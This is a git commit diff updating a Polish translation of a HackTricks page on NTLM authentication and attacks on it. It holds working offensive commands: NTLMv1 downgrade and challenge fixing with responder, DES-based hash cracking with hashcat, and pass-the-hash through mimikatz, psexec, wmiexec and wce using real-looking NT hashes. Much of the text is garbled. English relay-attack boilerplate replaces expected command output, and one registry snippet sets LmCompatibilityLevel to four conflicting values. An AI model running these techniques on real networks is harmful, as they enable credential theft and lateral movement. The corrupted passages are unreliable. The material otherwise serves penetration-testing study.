Translated ['windows-hardening/ntlm/README.md'] to pl

This commit is contained in:
Translator 2024-06-05 19:59:52 +00:00
parent 6715b6da5b
commit 241b461aa6

View file

@ -14,7 +14,7 @@
## Podstawowe informacje
W środowiskach, w których działa **Windows XP i Server 2003**, używane są hashe LM (Lan Manager), chociaż powszechnie uznaje się, że są one łatwo kompromitowalne. Określony hash LM, `AAD3B435B51404EEAAD3B435B51404EE`, wskazuje na scenariusz, w którym LM nie jest używane, reprezentując hash dla pustego ciągu znaków.
W środowiskach, w których działa **Windows XP i Server 2003**, używane są hashe LM (Lan Manager), chociaż powszechnie uważa się, że są one łatwo kompromitowalne. Określony hash LM, `AAD3B435B51404EEAAD3B435B51404EE`, wskazuje na scenariusz, w którym LM nie jest używane, reprezentując hash dla pustego ciągu znaków.
Domyślnie protokół uwierzytelniania **Kerberos** jest główną metodą używaną. NTLM (NT LAN Manager) wchodzi w grę w określonych okolicznościach: brak Active Directory, brak domeny, nieprawidłowa konfiguracja Kerberosa lub gdy próby połączeń są podejmowane za pomocą adresu IP zamiast poprawnej nazwy hosta.
@ -59,15 +59,15 @@ Możliwe wartości:
1. **Użytkownik** wprowadza swoje **dane uwierzytelniające**
2. Maszyna klienta **wysyła żądanie uwierzytelnienia**, wysyłając **nazwę domeny** i **nazwę użytkownika**
3. **Serwer** wysyła **wyzwanie**
4. **Klient szyfruje** **wyzwanie** używając hasha hasła jako klucza i wysyła je jako odpowiedź
5. **Serwer wysyła** do **kontrolera domeny** **nazwę domeny, nazwę użytkownika, wyzwanie i odpowiedź**. Jeśli nie ma skonfigurowanego Katalogu Aktywnego lub nazwa domeny jest nazwą serwera, dane uwierzytelniające są **sprawdzane lokalnie**.
4. **Klient szyfruje** wyzwanie, używając hasha hasła jako klucza i wysyła je jako odpowiedź
5. **Serwer wysyła** do **kontrolera domeny** nazwę domeny, nazwę użytkownika, wyzwanie i odpowiedź. Jeśli nie ma skonfigurowanego Katalogu Aktywnego lub nazwa domeny jest nazwą serwera, dane uwierzytelniające są **sprawdzane lokalnie**.
6. **Kontroler domeny sprawdza, czy wszystko jest poprawne** i przesyła informacje do serwera
**Serwer** i **Kontroler domeny** są w stanie utworzyć **Bezpieczny Kanał** za pośrednictwem serwera **Netlogon**, ponieważ Kontroler domeny zna hasło serwera (jest ono w bazie danych **NTDS.DIT**).
**Serwer** i **Kontroler domeny** są w stanie utworzyć **Bezpieczny Kanał** za pośrednictwem serwera **Netlogon**, ponieważ Kontroler domeny zna hasło serwera (jest ono wewnątrz bazy danych **NTDS.DIT**).
### Lokalny schemat uwierzytelniania NTLM
Uwierzytelnianie jest takie samo jak to opisane **wcześniej, ale** **serwer** zna **hash użytkownika**, który próbuje uwierzytelnić się w pliku **SAM**. Zamiast pytać Kontroler domeny, **serwer sprawdzi sam**, czy użytkownik może się uwierzytelnić.
Uwierzytelnianie jest takie samo jak to opisane **wcześniej, ale** serwer zna **hash użytkownika**, który próbuje uwierzytelniać się wewnątrz pliku **SAM**. Dlatego zamiast pytać Kontroler domeny, **serwer sprawdzi sam**, czy użytkownik może się uwierzytelnić.
### Wyzwanie NTLMv1
@ -81,19 +81,19 @@ Długość **wyzwania wynosi 8 bajtów**, a **odpowiedź ma długość 24 bajtó
* 3 części można **atakować osobno**, aby znaleźć hash NT
* **DES jest podatny na złamanie**
* 3 klucz składa się zawsze z **5 zer**
* Dla tego samego **wyzwania** **odpowiedź** będzie **taka sama**. Możesz więc podać ofierze jako **wyzwanie** ciąg "**1122334455667788**" i zaatakować odpowiedź, używając **przedobliczonych tablic tęczowych**.
* Dla **tego samego wyzwania** odpowiedź będzie **taka sama**. Dlatego możesz podać ofierze jako **wyzwanie** ciąg "**1122334455667788**" i zaatakować odpowiedź, używając **prekalkulowanych tablic tęczowych**.
### Atak NTLMv1
Obecnie coraz rzadziej spotyka się środowiska skonfigurowane z Nieskrępowanym Delegowaniem, ale to nie oznacza, że nie można **wykorzystać usługi Spooler drukarki** skonfigurowanej.
Obecnie coraz rzadziej spotyka się środowiska skonfigurowane z Nieskrępowanym Delegowaniem, ale to nie oznacza, że nie można **wykorzystać usługi Spoolera drukarki** skonfigurowanej.
Możesz wykorzystać pewne poświadczenia/sesje, które już masz w AD, aby **poprosić drukarkę o uwierzytelnienie** przeciwko **hostowi pod twoją kontrolą**. Następnie, korzystając z `metasploit auxiliary/server/capture/smb` lub `responder`, możesz **ustawić wyzwanie uwierzytelniania na 1122334455667788**, przechwycić próbę uwierzytelnienia, a jeśli została wykonana przy użyciu **NTLMv1**, będziesz w stanie to **złamać**.\
Jeśli korzystasz z `responder`, możesz spróbować \*\*użyć flagi `--lm` \*\* aby spróbować **zdegradować** **uwierzytelnienie**.\
_Zauważ, że dla tej techniki uwierzytelnienie musi być wykonane przy użyciu NTLMv1 (NTLMv2 nie jest ważne)._
Możesz wykorzystać pewne poświadczenia/sesje, które już masz w AD, aby **poprosić drukarkę o uwierzytelnienie** przeciwko **hostowi pod twoją kontrolą**. Następnie, korzystając z `metasploit auxiliary/server/capture/smb` lub `responder`, możesz **ustawić wyzwanie uwierzytelniania na 1122334455667788**, przechwycić próbę uwierzytelnienia, a jeśli została wykonana za pomocą **NTLMv1**, będziesz w stanie **je złamać**.\
Jeśli korzystasz z `responder`, możesz spróbować \*\*użyć flagi `--lm` \*\* w celu **zmniejszenia** **uwierzytelnienia**.\
_Zauważ, że dla tej techniki uwierzytelnienie musi być wykonane za pomocą NTLMv1 (NTLMv2 nie jest ważne)._
Pamiętaj, że drukarka będzie używać konta komputera podczas uwierzytelniania, a konta komputerowe używają **długich i losowych haseł**, których **prawdopodobnie nie będziesz w stanie złamać** przy użyciu **standardowych słowników**. Ale uwierzytelnianie **NTLMv1** **używa DES** ([więcej informacji tutaj](./#ntlmv1-challenge)), więc korzystając z niektórych usług specjalnie dedykowanych do łamania DES, będziesz w stanie to złamać (możesz użyć [https://crack.sh/](https://crack.sh) na przykład).
Pamiętaj, że drukarka będzie używać konta komputera podczas uwierzytelniania, a konta komputerowe używają **długich i losowych haseł**, których **prawdopodobnie nie będziesz w stanie złamać** za pomocą **standardowych słowników**. Ale uwierzytelnianie **NTLMv1** **używa DES** ([więcej informacji tutaj](./#ntlmv1-challenge)), więc korzystając z usług specjalnie dedykowanych do łamania DES, będziesz w stanie je złamać (możesz skorzystać z [https://crack.sh/](https://crack.sh) lub [https://ntlmv1.com/](https://ntlmv1.com) na przykład).
### Atak NTLMv1 z hashcat
### Atak NTLMv1 za pomocą hashcat
NTLMv1 można również złamać za pomocą narzędzia NTLMv1 Multi Tool [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi), które formatuje wiadomości NTLMv1 w sposób, który można złamać za pomocą hashcat.
@ -101,22 +101,25 @@ Polecenie
```bash
python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
```
## NTLM Relaying
## NTLM Relay Attack
### Introduction
NTLM relaying is a common technique used by attackers to move laterally within a network by leveraging the NTLM authentication protocol. This attack involves relaying NTLM authentication messages from a compromised machine to another machine in the network, tricking it into believing that the attacker has legitimate access.
NTLM relay attacks are a common technique used by hackers to escalate privileges in a Windows environment. This attack involves relaying NTLM authentication messages from a victim machine to a target machine, tricking the target into thinking the attacker is the victim. This can lead to the attacker gaining unauthorized access to sensitive resources on the target machine.
### How it Works
### Mitigation
1. The attacker intercepts an NTLM authentication request from a victim machine to a compromised machine.
2. The attacker relays this request to a target machine in the network.
3. The target machine, believing the request is legitimate, sends back a response.
4. The attacker forwards this response to the victim machine, completing the relay.
To mitigate NTLM relay attacks, it is recommended to implement the following measures:
### Impact
1. **Enforce SMB Signing**: Enabling SMB signing can help prevent NTLM relay attacks by ensuring the integrity of SMB packets.
NTLM relaying can lead to privilege escalation, credential theft, and lateral movement within a network. By exploiting this technique, an attacker can gain unauthorized access to sensitive resources and compromise the security of the entire network.
2. **Disable NTLM**: Consider disabling NTLM authentication in favor of more secure protocols like Kerberos.
3. **Use LDAP Signing**: Enabling LDAP signing can also help protect against NTLM relay attacks by securing LDAP communication.
4. **Implement Extended Protection for Authentication**: This feature can provide additional protection against NTLM relay attacks by requiring channel binding tokens.
By implementing these measures, organizations can reduce the risk of falling victim to NTLM relay attacks and enhance the security of their Windows environment.
```bash
['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788']
@ -146,29 +149,29 @@ NTHASH:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
## Introduction
NTLM relay attack is a common technique used by hackers to exploit the NTLM authentication protocol. This attack involves relaying NTLM authentication messages from a victim machine to a target machine, allowing the hacker to impersonate the victim and gain unauthorized access to the target system.
NTLM relay attacks are a common technique used by attackers to exploit the NTLM authentication protocol. This attack involves relaying NTLM authentication messages from a victim machine to a target machine, allowing the attacker to authenticate to the target machine using the victim's credentials.
## How it works
1. The attacker intercepts an NTLM authentication request from the victim machine.
2. The attacker relays this request to a target machine.
3. The target machine processes the request, thinking it is coming from the victim.
4. If successful, the attacker gains access to the target machine using the victim's credentials.
1. The attacker intercepts an NTLM authentication request from a victim machine to a server.
2. The attacker relays the authentication request to a target machine.
3. The target machine processes the authentication request, believing it is coming from the victim machine.
4. If successful, the attacker gains unauthorized access to the target machine using the victim's credentials.
## Mitigation
To prevent NTLM relay attacks, it is recommended to:
- Enable SMB signing to prevent message tampering.
- Use LDAP signing and channel binding to protect LDAP traffic.
- Implement Extended Protection for Authentication to prevent relaying of credentials.
- Disable NTLM authentication if not required.
To mitigate NTLM relay attacks, it is recommended to:
- Enable SMB signing to prevent relay attacks over SMB.
- Use LDAP signing and channel binding to protect LDAP communications.
- Implement Extended Protection for Authentication to prevent NTLM relay attacks on HTTP.
- Disable NTLM authentication in favor of more secure protocols like Kerberos.
By following these best practices, organizations can significantly reduce the risk of falling victim to NTLM relay attacks.
By following these best practices, organizations can reduce the risk of falling victim to NTLM relay attacks.
```bash
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788
```
Uruchom hashcat (najlepiej rozproszony za pomocą narzędzia takiego jak hashtopolis), w przeciwnym razie zajmie to kilka dni.
Uruchom hashcat (najlepiej rozproszony za pomocą narzędzia takiego jak hashtopolis), ponieważ w przeciwnym razie zajmie to kilka dni.
```bash
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
```
@ -189,48 +192,31 @@ b4b9b02e6f09a9 # this is part 1
./hashcat-utils/src/deskey_to_ntlm.pl bcba83e6895b9d
bd760f388b6700 # this is part 2
```
### Ostatecznie ostatnia część:
Wprowadzamy zmiany w rejestrze, aby zablokować LM / NTLMv1 i wymusić NTLMv2. Dodajemy nowe wartości do klucza rejestru `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa`:
```plaintext
DWORD "LmCompatibilityLevel"=1
DWORD "LmCompatibilityLevel"=5
DWORD "LmCompatibilityLevel"=3
DWORD "LmCompatibilityLevel"=4
```
Następnie restartujemy komputer, aby wprowadzone zmiany zostały zastosowane.
Ostatecznie ostatnia część:
```bash
./hashcat-utils/src/ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
586c # this is the last part
```
### Windows Hardening: NTLM
## NTLM Relay Attack
#### NTLM Relay Attack
### Introduction
NTLM Relay Attack is a type of attack where an attacker captures the NTLM authentication and relays it to a target server to gain unauthorized access.
NTLM relay attacks are a common technique used by attackers to exploit the NTLM authentication protocol. In a typical NTLM relay attack, the attacker intercepts an authentication attempt from a victim host and relays it to a target host, tricking the target host into believing that the attacker is the victim. This allows the attacker to gain unauthorized access to the target host using the victim's credentials.
#### Protection Against NTLM Relay Attack
### Mitigation
To protect against NTLM Relay Attack, you can enforce the usage of SMB Signing, enable Extended Protection for Authentication, and disable NTLMv1.
To mitigate NTLM relay attacks, it is recommended to implement the following security measures:
#### Enforcing SMB Signing
1. **Enforce SMB Signing**: Enabling SMB signing can help prevent NTLM relay attacks by ensuring the integrity and authenticity of SMB packets.
Enforcing SMB Signing ensures that SMB packets are signed and helps prevent man-in-the-middle attacks.
2. **Enable LDAP Signing**: LDAP signing can also be enabled to protect against NTLM relay attacks targeting LDAP authentication.
#### Enabling Extended Protection for Authentication
3. **Disable NTLMv1**: NTLMv1 is known to be vulnerable to relay attacks, so it is recommended to disable it and use NTLMv2 or Kerberos instead.
Enabling Extended Protection for Authentication enhances the security of NTLM by requiring stronger authentication methods.
4. **Implement Extended Protection for Authentication**: This feature can help protect against NTLM relay attacks by requiring extended protection for authentication.
#### Disabling NTLMv1
Disabling NTLMv1 helps mitigate the risk of NTLM Relay Attacks by eliminating the use of weaker encryption algorithms.
#### Summary
NTLM Relay Attacks can be mitigated by enforcing SMB Signing, enabling Extended Protection for Authentication, and disabling NTLMv1. These measures help enhance the security of NTLM authentication in Windows environments.
By implementing these security measures, organizations can reduce the risk of falling victim to NTLM relay attacks.
```bash
NTHASH=b4b9b02e6f09a9bd760f388b6700586c
```
@ -240,16 +226,16 @@ NTHASH=b4b9b02e6f09a9bd760f388b6700586c
**Pierwsza odpowiedź** jest tworzona poprzez zaszyfrowanie za pomocą **HMAC\_MD5** **ciągu** składającego się z **klienta i domeny** oraz użycie jako **klucza** **skrótu MD4** z **skrótu NT**. Następnie **wynik** będzie używany jako **klucz** do zaszyfrowania za pomocą **HMAC\_MD5** **wyzwania**. Do tego zostanie dodane **wyzwanie klienta o długości 8 bajtów**. Razem: 24 B.
**Druga odpowiedź** jest tworzona przy użyciu **kilku wartości** (nowe wyzwanie klienta, **znacznik czasu** w celu uniknięcia **ataków powtórzenia**...).
**Druga odpowiedź** jest tworzona za pomocą **kilku wartości** (nowe wyzwanie klienta, **znacznik czasu** w celu uniknięcia **ataków typu replay**...).
Jeśli masz **pcap z zarejestrowanym udanym procesem uwierzytelniania**, możesz postępować zgodnie z tym przewodnikiem, aby uzyskać domenę, nazwę użytkownika, wyzwanie i odpowiedź i spróbować złamać hasło: [https://research.801labs.org/cracking-an-ntlmv2-hash/](https://research.801labs.org/cracking-an-ntlmv2-hash/)
## Przekazanie Skrótu
## Przekazanie skrótu
**Gdy masz skrót ofiary**, możesz go użyć do **podszycia się** pod nią.\
Musisz użyć **narzędzia**, które będzie **wykonywać** uwierzytelnianie **NTLM przy użyciu** tego **skrótu**, **lub** możesz utworzyć nowe **logowanie sesji** i **wstrzyknąć** ten **skrót** do **LSASS**, więc gdy zostanie wykonane jakiekolwiek **uwierzytelnianie NTLM**, ten **skrót zostanie użyty.** Ostatnia opcja to to, co robi mimikatz.
Musisz użyć **narzędzia**, które będzie **wykonywać** uwierzytelnianie **NTLM używając** tego **skrótu**, **lub** możesz utworzyć nowe **logowanie sesji** i **wstrzyknąć** ten **skrót** do **LSASS**, więc gdy zostanie wykonane **uwierzytelnianie NTLM**, ten **skrót zostanie użyty.** Ostatnia opcja to to, co robi mimikatz.
**Pamiętaj, że ataki Przekazania Skrótu można również wykonywać przy użyciu kont komputerowych.**
**Pamiętaj, że ataki Przekazania skrótu można również wykonywać przy użyciu kont komputerowych.**
### **Mimikatz**
@ -257,16 +243,16 @@ Musisz użyć **narzędzia**, które będzie **wykonywać** uwierzytelnianie **N
```bash
Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"'
```
To uruchomi proces, który będzie należał do użytkowników, którzy uruchomili mimikatz, ale wewnętrznie w LSASS zapisane poświadczenia to te znajdujące się w parametrach mimikatz. Następnie możesz uzyskać dostęp do zasobów sieciowych, jakbyś był tym użytkownikiem (podobnie jak sztuczka `runas /netonly`, ale nie musisz znać hasła w postaci zwykłego tekstu).
To uruchomi proces, który będzie należał do użytkowników, którzy uruchomili mimikatz, ale wewnętrznie w LSASS zapisane poświadczenia to te znajdujące się w parametrach mimikatz. Następnie możesz uzyskać dostęp do zasobów sieciowych tak, jakbyś był tym użytkownikiem (podobnie jak sztuczka `runas /netonly`, ale nie musisz znać hasła w postaci tekstu jawnego).
### Pass-the-Hash z systemu Linux
### Przekazywanie hasha z systemu Linux
Możesz uzyskać wykonanie kodu na maszynach z systemem Windows, korzystając z Pass-the-Hash z systemu Linux.\
Możesz uzyskać wykonanie kodu w maszynach z systemem Windows, korzystając z przekazywania hasha z systemu Linux.\
[**Kliknij tutaj, aby dowiedzieć się, jak to zrobić.**](https://github.com/carlospolop/hacktricks/blob/master/windows/ntlm/broken-reference/README.md)
### Skompilowane narzędzia Impacket dla systemu Windows
Możesz pobrać [binaria narzędzi Impacket dla systemu Windows tutaj](https://github.com/ropnop/impacket\_static\_binaries/releases/tag/0.9.21-dev-binaries).
Możesz pobrać [binaria Impacket dla systemu Windows tutaj](https://github.com/ropnop/impacket\_static\_binaries/releases/tag/0.9.21-dev-binaries).
* **psexec\_windows.exe** `C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local`
* **wmiexec.exe** `wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local`
@ -327,6 +313,18 @@ wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>
[spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
{% endcontent-ref %}
## Analiza wyzwań NTLM z przechwyconego ruchu sieciowego
## Analiza wyzwań NTLM z przechwyconej sieci
**Możesz użyć** [**https://github.com/mlgualtieri/NTLMRawUnHide**](https://github.com/mlgualtieri/NTLMRawUnHide)
<details>
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana w HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>